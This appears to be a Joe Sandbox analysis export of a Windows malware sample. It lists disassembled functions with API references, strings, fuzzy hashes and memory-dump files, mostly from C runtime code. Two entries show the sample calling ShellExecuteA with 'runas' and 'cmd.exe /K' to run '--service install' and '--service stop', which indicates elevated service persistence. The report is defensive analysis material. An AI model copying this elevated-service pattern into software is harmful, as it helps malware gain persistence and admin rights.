Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: DriveType
String ID: %ls$("Invalid Drive Index" ,0)$:$is_valid_drive$minkernel\crts\ucrt\src\desktopcrt\misc\getcwd.cpp
API String ID: 338552980-412189961
Opcode ID: 0b4609dbf654a6ef4b596fdd0bd7cef6a896af3c8c4df9e6d6f308cd50047373
Instruction ID: 63e7a2e240aef69b1a5253dbfb95bcbaf3f464b36eddb4bbc245abf73309eef6
Opcode Fuzzy Hash: 0b4609dbf654a6ef4b596fdd0bd7cef6a896af3c8c4df9e6d6f308cd50047373
Instruction Fuzzy Hash: A621CF37A2C74286EB50DF50E4912AE33A0FF44784F801476E64EC6A55EF3EE955CB0A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA707355 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 73COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF6EA8BC8F9
GetStdHandle.KERNEL32 ref: 00007FF6EA8BC91E

Strings

nRptType >= 0 && nRptType < _CRT_ERRCNT, xrefs: 00007FF6EA8BC83C, 00007FF6EA8BC8A5
minkernel\crts\ucrt\src\appcrt\misc\dbgrptt.cpp, xrefs: 00007FF6EA8BC85D, 00007FF6EA8BC897
%ls, xrefs: 00007FF6EA8BC848
_CrtSetReportFile, xrefs: 00007FF6EA8BC89E

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: Handle
String ID: %ls$_CrtSetReportFile$minkernel\crts\ucrt\src\appcrt\misc\dbgrptt.cpp$nRptType >= 0 && nRptType < _CRT_ERRCNT
API String ID: 2519475695-1451859211
Opcode ID: 48f4e04df32432bae5d5a5d672dcad1efa75a10401cd2b9f6eb021f41988ea84
Instruction ID: 60ee13af6a671f708a176ba5d207173a3447910c1f1ca4a6877cdc88f2a49823
Opcode Fuzzy Hash: 48f4e04df32432bae5d5a5d672dcad1efa75a10401cd2b9f6eb021f41988ea84
Instruction Fuzzy Hash: 9F416D7792CE4285EA508B14E48036A7761FB88374F001376E6BE866E8DF7ED055C746

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA705BDB Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 71COMMON

Download Yara Rule

APIs

Concurrency::details::_Scheduler::_Scheduler.LIBCMTD ref: 00007FF6EA8ADDCA

Strings

LC_MIN <= _category && _category <= LC_MAX, xrefs: 00007FF6EA8ADD17, 00007FF6EA8ADD80
%ls, xrefs: 00007FF6EA8ADD23
minkernel\crts\ucrt\src\appcrt\locale\wsetlocale.cpp, xrefs: 00007FF6EA8ADD38, 00007FF6EA8ADD72
_wsetlocale, xrefs: 00007FF6EA8ADD79

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: Concurrency::details::_SchedulerScheduler::_
String ID: %ls$LC_MIN <= _category && _category <= LC_MAX$_wsetlocale$minkernel\crts\ucrt\src\appcrt\locale\wsetlocale.cpp
API String ID: 2780765137-2399076032
Opcode ID: 603d3eaa7f2033c1f33a7ad76b376235346d60e759ec94fb917a6f9ae64856b7
Instruction ID: 365dab1d84d6eb33f5cc4fc70eb12aaffa9b1bfb31d072f5b89229eeca6ee7a1
Opcode Fuzzy Hash: 603d3eaa7f2033c1f33a7ad76b376235346d60e759ec94fb917a6f9ae64856b7
Instruction Fuzzy Hash: EB312C3351C68296EB50DF10E0543AB77A1FB84384F401075E68E86B99DF7ED558CB46

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA708C0F Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 41COMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32 ref: 00007FF6EA73CB22

Strings

runas, xrefs: 00007FF6EA73CB19
/K , xrefs: 00007FF6EA73CACD
--service stop, xrefs: 00007FF6EA73CAED
cmd.exe, xrefs: 00007FF6EA73CB12

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: ExecuteShell
String ID: --service stop$/K $cmd.exe$runas
API String ID: 587946157-4175933713
Opcode ID: 3fdeeec80aec344fd3514f17f4061f65f388dc5dc279cbbca43fc1fe97c69d57
Instruction ID: 3895802d790846fdae5453977c64e02f3902c3c3db1c4044da50a818a83fbad8
Opcode Fuzzy Hash: 3fdeeec80aec344fd3514f17f4061f65f388dc5dc279cbbca43fc1fe97c69d57
Instruction Fuzzy Hash: 8B11B237A1898294EF10DF21E8913E92320FB84398F408171EA4D8BAA5DF7ED555C345

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA708B74 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 41COMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32 ref: 00007FF6EA73C922

Strings

runas, xrefs: 00007FF6EA73C919
/K , xrefs: 00007FF6EA73C8CD
--service install, xrefs: 00007FF6EA73C8ED
cmd.exe, xrefs: 00007FF6EA73C912

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: ExecuteShell
String ID: --service install$/K $cmd.exe$runas
API String ID: 587946157-2496179323
Opcode ID: 7372c847b6b1ff810bb0313002d6384caa7cb361469463f51859078c0b87c1c0
Instruction ID: d49bb4c9f0bfbf4cd3086d575450ad48b4788793d98005e6f718d235aa6ec233
Opcode Fuzzy Hash: 7372c847b6b1ff810bb0313002d6384caa7cb361469463f51859078c0b87c1c0
Instruction Fuzzy Hash: 3011B237A1898294EF10DF21E8913E82320FB84798F408171EA5D8BAA5DF7ED655C345

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA8D56A0 Relevance: 7.8, APIs: 1, Strings: 4, Instructions: 287COMMON

Download Yara Rule

Strings

s != nullptr, xrefs: 00007FF6EA8D5731, 00007FF6EA8D579A
minkernel\crts\ucrt\src\appcrt\convert\mbstowcs.cpp, xrefs: 00007FF6EA8D5752, 00007FF6EA8D578C
_mbstowcs_l_helper, xrefs: 00007FF6EA8D5793
%ls, xrefs: 00007FF6EA8D573D

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID:
String ID: %ls$_mbstowcs_l_helper$minkernel\crts\ucrt\src\appcrt\convert\mbstowcs.cpp$s != nullptr
API String ID: 0-454128329
Opcode ID: 98ebc706ffc1bd0db2e5b2d463a6e45915ce8964ab8b38942703dcb02c6fc12d
Instruction ID: cdbec33997ef7308b94fe8ac271556edf7c46f2e4af60b0ec0d464be30e4904f
Opcode Fuzzy Hash: 98ebc706ffc1bd0db2e5b2d463a6e45915ce8964ab8b38942703dcb02c6fc12d
Instruction Fuzzy Hash: 95E11A3761CA8285EB64DB15E4803AAB3A4FB84750F104277E69D83BE9EF7ED444CB05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA8D00C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32 ref: 00007FF6EA8D0101
GetLastError.KERNEL32 ref: 00007FF6EA8D010B
SetFilePointerEx.KERNEL32 ref: 00007FF6EA8D0172
GetLastError.KERNEL32 ref: 00007FF6EA8D017C

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: ea4f9831684295a00d121af658b0eaa72b78248cb93b4ef7a9ec13766c9b4175
Instruction ID: 90241ca3ac689a62091836beb9d73d42383bfd2f878cd0b3a60efd5f0bfe3df8
Opcode Fuzzy Hash: ea4f9831684295a00d121af658b0eaa72b78248cb93b4ef7a9ec13766c9b4175
Instruction Fuzzy Hash: 04218176718A4187DB208B24E44076AB7A5FB847A4F400675EA9EC3B94DF7DD500CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA8C5C00 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00007FF6EA8C6767), ref: 00007FF6EA8C5DA8
WriteFile.KERNEL32(?,?,00007FF6EA8C6767), ref: 00007FF6EA8C5E39
GetLastError.KERNEL32(?,00007FF6EA8C6767), ref: 00007FF6EA8C5E43

Strings

U, xrefs: 00007FF6EA8C5D6F

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: ErrorLast$FileWrite
String ID: U
API String ID: 603252729-4171548499
Opcode ID: 3849e420fca9dcc8e487a91d732f05283c6c741ad08a1084cf4baad60c00768d
Instruction ID: a0158225a58eaee93e145c663f22740eba3712e5224110ffa4783dd869a0ebf2
Opcode Fuzzy Hash: 3849e420fca9dcc8e487a91d732f05283c6c741ad08a1084cf4baad60c00768d
Instruction Fuzzy Hash: 4F71D33660DB858ADB64CB59E4803AAB7A1F788784F500136EB8D87B68EF7DD441CF05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA8529E0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Concurrency::details::_Scheduler::_Scheduler.LIBCMTD ref: 00007FF6EA852A2F

Part of subcall function 00007FF6EA852850: __crt_scoped_stack_ptr.LIBCPMTD ref: 00007FF6EA85285E

GetModuleHandleExW.KERNEL32 ref: 00007FF6EA852AA9
__crt_unique_heap_ptr.LIBCMTD ref: 00007FF6EA852AB4

Part of subcall function 00007FF6EA852830: __crt_unique_heap_ptr.LIBCMTD ref: 00007FF6EA85283E

Strings

minkernel\crts\ucrt\src\appcrt\startup\thread.cpp, xrefs: 00007FF6EA8529F6

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: __crt_unique_heap_ptr$Concurrency::details::_HandleModuleSchedulerScheduler::___crt_scoped_stack_ptr
String ID: minkernel\crts\ucrt\src\appcrt\startup\thread.cpp
API String ID: 1775639101-1753249309
Opcode ID: 11f7f7e390c89a5f5645e682cb1375a81a4229b6708542d2fbcfee1c639ace40
Instruction ID: aea3689709d776251f31094832a5f3eabb903eab6a7281b24fded33d01b6d9ef
Opcode Fuzzy Hash: 11f7f7e390c89a5f5645e682cb1375a81a4229b6708542d2fbcfee1c639ace40
Instruction Fuzzy Hash: D3214123A28A4181EA04EB91E4513AF7361FFD0740F800076FA8F87A9AEF3ED515C745

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA704BCD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 149COMMON

Download Yara Rule

APIs

SetConsoleCtrlHandler.KERNEL32 ref: 00007FF6EA8BFF1C

Strings

minkernel\crts\ucrt\src\appcrt\misc\signal.cpp, xrefs: 00007FF6EA8C002B

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: ConsoleCtrlHandler
String ID: minkernel\crts\ucrt\src\appcrt\misc\signal.cpp
API String ID: 1513847179-3244217075
Opcode ID: 311ce1d0824d0bf22df4fd798bf199ac3c4bbdbb9a551e70613907a68877916e
Instruction ID: 429149b4e7b3670c8e7a3ab60ec626568758f024037581c9fe8e4915d0bc74ba
Opcode Fuzzy Hash: 311ce1d0824d0bf22df4fd798bf199ac3c4bbdbb9a551e70613907a68877916e
Instruction Fuzzy Hash: 1C810F3791C68186E6709B19E45037BB3A1FB85784F1042B5E68DC7BA9DF3ED844CB0A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA84CE70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_wfullpath_helper.LIBCMTD ref: 00007FF6EA84CEDA

Strings

./\, xrefs: 00007FF6EA84CE8E

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: _wfullpath_helper
String ID: ./\
API String ID: 1574055103-3176372042
Opcode ID: ec4bcfff5c5c0d57867788f65cf2fcdc07a522d296500c5526d8c452610006ec
Instruction ID: dc58c19cacc47d594e40dc6f0771a10ae3eee48702528c03944e2dd6a3689015
Opcode Fuzzy Hash: ec4bcfff5c5c0d57867788f65cf2fcdc07a522d296500c5526d8c452610006ec
Instruction Fuzzy Hash: EB31756351C58280EA30EB21E4913BF6B64EBC5748F4401B1F6CDC6996DE2ED5068B0A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA708C32 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

Concurrency::details::_Scheduler::_Scheduler.LIBCMTD ref: 00007FF6EA8AD764
Concurrency::details::_Scheduler::_Scheduler.LIBCMTD ref: 00007FF6EA8AD780

Strings

